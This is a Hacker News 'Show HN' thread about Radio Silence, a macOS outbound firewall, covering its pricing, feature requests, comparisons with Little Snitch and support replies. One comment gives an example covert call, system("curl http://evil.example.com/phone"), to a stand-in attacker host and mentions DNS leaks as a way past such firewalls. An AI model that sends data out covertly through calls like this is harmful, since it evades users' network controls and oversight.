

Show HN: My user-friendly outbound firewall for Mac - aparadja
http://radiosilenceapp.com

======
aparadja
Author here. I have an open question about pricing. How do you feel about the
price point? Some emails and comments have mentioned that $19 feels too
expensive. To me, pricing seems like a dark art.

Now I ask you to put on your objectivity-soaked scientist's hat and answer:
Would you have purchased the software if the price had been lower? If you
already purchased, would you have been willing to go higher?

~~~
huhtenberg
Yeah, I'd say $19 is really pushing it for this sort of app, which is
something that is zero-maintenance, zero-interaction, install and forget kind
of thing. The app needs to have some sort of presence (perhaps it does, I
would not know, I am on Windows) that would prove that it is alive and doing
its job. At the very least I would expect some sort of subtle visual feedback
in the event when the blocked app is actually prevented from getting out.
Showcase it in action on the landing page too.

The way it stands, it looks like a pretty UI for configuring built-in
firewall. And $19 for that is an overkill. Also, keep in mind who your
audience is - (paranoid) geeks, so it _is_ important to show that the app has
some non-trivial content to it and it's not just an empty shell on top of
what's available for free already.

In other words, if you manage to convince me that the app actually has some
brains and smarts, that while it is simple, it is not trivial, then $19 is a
fair price. If not, then even $10 is an overkill.

~~~
aparadja
Thanks for your input. I'm currently running at $9 for benchmarking.

~~~
huhtenberg
No problem.

Here's another nitpick. Upon checkout it detected that I was in Canada and
showed the price in CAD. It came to $9.16, and this is very odd since USD has
been cheaper than CAD for a while now. It should've been under 9 CAD. I don't
know why it worked out to be 9.16 and I don't really care, I just know it's
wrong. So, not to confuse people like me just show the price in USD.

~~~
wmblaettler
I wonder if the currency conversion logic is mixed up. Google returns: 1 US
dollar = 0.9839 Canadian dollars. I wonder if it's dividing by .9839 instead
of multiplying by it, which does get you close to 9.16.

~~~
aparadja
At least the USD to EUR conversion is fine. Not a mixup in the algorithm, at
least.

------
Sidnicious
I really love Radio Silence’s UI (based on the screenshot).

Quick thought — for the more-paranoid, would it make sense to let you switch
to a whitelist, where _only_ the listed applications are allowed to connect?

~~~
aparadja
Hmm, that could be a possibility. Thanks for the idea.

~~~
watmough
Seconded, I'd much rather add applications as needed. Also, the growl
notification is a good idea.

And my own small idea: what if I want an application to check for updates? Can
I say "allow application to connect for this application session"? Then when
the app quits, it won't be allowed to connect out again, unless it's
whitelisted.

~~~
Sidnicious
I think Little Snitch has that feature, but it might go against RS’s design:
<http://news.ycombinator.com/item?id=2886679>

------
shabble
I'd be curious as to what the sales of this are like. It's something I'd be
tempted to buy at maybe $5-10 or so, but for ~$20 I'd just use either the
System Preferences firewall, or drop down to pf. There aren't that many things
that I want to block that it'd be worth it, I think.

Is the price based on dev time, relation to similar products (little snitch is
~$40), or random guesswork?

~~~
aparadja
I share your curiosity, and have adjusted the price as an experiment. Let's
see what happens.

~~~
shabble
Excellent, I hope it works out well, the rest of the thread seems to be of a
similar opinion.

You've got my £5.50 anyway, I'd feel bad if I told you what I'd pay, then you
set it to that and I didn't. Also, it means I can finally clear some of the
localhost cruft out of my /etc/hosts that I'd forgotten about.

Everyone else seems to be clamouring for more features too, so I'll add one
that would be useful: the ability to select multiple .app bundles at a time
from the finder/select-file dialog window and add them. The Adobe tools I
blocked required about 7 click-navigate-click-click operations alone.

The ability to toggle blocks without add/removing them would be nice as well,
but (imho) anything else starts to smell of feaping creatures, and they should
just buy Little Snitch.

------
aparadja
UPDATE: As a data-collection experiment, I've dropped the price to $9 for the
time being.

(If you already purchased and feel left out, send an email and we'll figure it
out).

~~~
robterrell
$9 feels about right. I know this is off-topic, but how do you like
FastSpring?

~~~
shabble
From a customer perspective, it's one of the first times I've had a painless
purchase experience whilst having NoScript enabled (and not having to greylist
some random mirror of JQuery halfway through the procedure and lose all
state). Everything seems to fall back to Plain Ol' Forms just fine.

------
nmeyer
Very clean site design, and UI looks gorgeous. Awesome job!

May want to think about putting the qualifier inside the call to action:

Buy now for $9 (try risk-free for 30 days)

Then below the CTA put "If you're not absolutely happy..."

Alleviate their worries as in-context as possible.

Congrats on shipping! Baller.

------
kamme
My first thoughts:

\+ nice website

\+ app in the screenshot looks nice

? does it show up in the menubar or...? (maybe add a couple of screenshots)

\- I can't try before I buy (yes, I've read the 30days/money back but it's
still a barrier for most people)

------
nvk
Can't download to try before buying. Lost my interest.

~~~
aparadja
I understand. You could purchase it and ask for a refund if you're not happy.
I won't get mad about refund requests, that's a promise.

Building a trial version was not a first priority before launching. It
certainly is something I'll look into next.

~~~
maayank
On your website, explicitly declare a N days refund guarantee. It's a selling
point, shows good service and people generally don't abuse it. Worst case,
you'll remove it.

See number 7 in <http://www.joelonsoftware.com/articles/customerservice.html>

~~~
aparadja
It's already there...

A direct quote: "You can try Radio Silence risk-free for 30 days. If you're
not absolutely happy, you'll get your money back, no questions asked."

~~~
maayank
Sorry about that, missed it when I looked.

~~~
aparadja
No worries.

------
lovskogen
If you have to silence apps manually, how can you know if an app will phone
home?

~~~
aparadja
This app can't unfortunately help you monitor the network activity of other
apps.

A question: does the copy on the website give the impression that it would? I
don't want to mislead people.

~~~
lisper
It's not misleading, but the combination of requiring manual silencing and not
giving any indication of what needs to be silenced seems self-undermining.
Your target market is now only those users who are sophisticated enough to
figure out what needs to be silenced, but not sophisticated enough to figure
out how to do the silencing themselves. That's a pretty narrow market segment.

------
ary
Asking for features "before I buy" is lame, I know. These are merely
suggestions.

1) Avoiding the verboseness of something like LittleSnitch is an admirable
goal, but there's too much work for the user in your case. How difficult would
it be to detect when applications perform network operations and then auto-
populate the list so that the user can decide what to do about it? Some kind
of categorization of traffic would be good too (ie, listing common protocol
utilization [DNS,HTTP,SSH,etc]).

2) A simple thumbs-up, thumbs-down on applications would be great. That way
the user could toggle the app for when they, say, want to pull some updates
from Steam. From the screenshot it looks like you can only add or remove apps.

The website looks great and $9.00 feels like a good price point. I'll second
the idea that $19.00 was too much. I hope it sells well.

------
foobarbazetc
What makes this better than Little Snitch?

~~~
aparadja
Little Snitch wants to inform you about everything. Radio Silence obeys
silently. I guess "better" is a matter of preference. I wanted to create the
simplest possible solution I could imagine.

They both solve similar problems, but from different points of view. I'm
personally not a big fan of programs that constantly pop up alert windows.

~~~
pieter
Perhaps you can add a list of default applications that many people want to
silence, and offer to silence them automatically once the user runs them.

~~~
aparadja
That is something worth considering, but it would go against one of the design
goals: a firewall without a single alert dialog.

~~~
drivingmenuts
I wouldn't consider a one-time dialog box (growl, of course) to be that much
of an issue. It might violate your design principle, but in the grand scheme
of things, I don't think it would annoy the user.

~~~
lovskogen
Is Growl a part of OS X?

------
rjb
Great design and the app looks dead simple, i.e. it is not scary looking, but
I need a bit more information.

"Radio Silence lets you block internet access from any applications you would
rather keep silent."

My applications have/need internet access? Why do I need to silence them?

Do not assume people already know why they need this. Find a good selling
point to the above questions (privacy, right?) and drive it. You should then
be able to charge at least $30.

I also feel like I would feel more confident in the product and the co. behind
it, if I saw links that lead to things like contact, documentation and
support. I do not want to be left out in the cold should I need help.

I hope this helps.

------
tombot
Will this work for an app like Spotify? Note: Spotify appears to use very
random ports to do it's p2p stuff, which is great except when you don't have
the bandwidth to spare.

~~~
aparadja
Update: I downloaded Spotify, and silenced it. It says it is unable to connect
to the servers, and lists only local songs.

So, yes, Radio Silence works with Spotify.

~~~
tombot
Awesome sauce

------
pornel
There's so many ways to send outbound traffic that I'm not sure if it's worth
blocking it at all.

You can easily block applications that _don't_ try to be sneaky, but are
firewalls able block something like `system("curl
<http://evil.example.com/phone)`>? Leaks via DNS queries? URL handlers?
Applescripting of other applications?

~~~
aparadja
You're absolutely right. I'm even trying to be careful about the use of the
term "firewall" to avoid giving the wrong impression.

I made the conscious choice to only block applications that play nice. It
should cover most of the use cases. If there was a malicious app on your
system, it would probably be impossible to even select it using the current
UI.

I have no idea how to make the arms race against malware nice, lightweight or
unobtrusive. With this software, I did not even attempt to.

------
windexh8er
Personally I use a combination of pf (Waterroof is a nice control front end)
and HandsOff (switcher from LittleSnitch for more fine grained control). I
wish the dev well - but the first product that combines ipfw control with app
specific will win my $$$. Until then everything else hasnt covered the gap
I've been searching for as of yet.

------
thirtysixred
I'm really liking the design of the website.

~~~
aparadja
Thanks, that hits a soft spot in me. Like many programmers, I've wanted to
learn about web design for a long time. Here, I really did the best I could,
and am really happy to hear that it's not eye-achingly disgusting (to some).

~~~
iamdave
I think you did a great job. Tells me exactly what it does, I don't have to
hunt down screenshots, the call to action button is obvious yet not obnoxious
and it's clean.

Well done IMO.

------
joshcrews
I just installed it on OSX 10.6, restarted, and it still says "Filter not
found, please restart your Mac"

Any help?

~~~
aparadja
Edit: This was a small problem with older versions of Snow Leopard. It's now
fixed. Huge thanks to joshcrews for his patience.

Hmm. I'll send you a private message. That hasn't happened on any of the test
machines I've used.

~~~
joshcrews
Thanks!

~~~
aparadja
Just to be clear, I sent an email to the address you used when purchasing.

------
Aloisius
I wish I could subscribe to adblock style lists for application firewalls.
That's something I'd pay real money for.

------
iampims
Any reason why you decided to not distribute it through the Mac Appstore?
Genuinely curious.

~~~
aparadja
The App Store doesn't accept apps that aren't contained in a single neat
bundle. Network monitoring and automatic launching requires more than that.

That's pretty much the only reason, I would have been happy to sell it through
the store.

------
chopsueyar
Looks good. Wishing you success!

------
shennyg
very nice, it just disappears when you click done.

You may forget about this and wonder why my apps aren't connecting but glad
there isn't dock or menu icon!

~~~
aparadja
Glad you like it. I wanted the whole app to be as invisible and unnoticeable
as possible.

------
rufugee
Very nice. Anyone aware of something like this for Linux?

------
Kwpolska
It would be nice if it was in the Mac App Store (or if it is already you shall
link to it)

~~~
aparadja
It's not a self-contained package because of the kernel extension, so can't be
sold through the App Store. Otherwise it would be there.

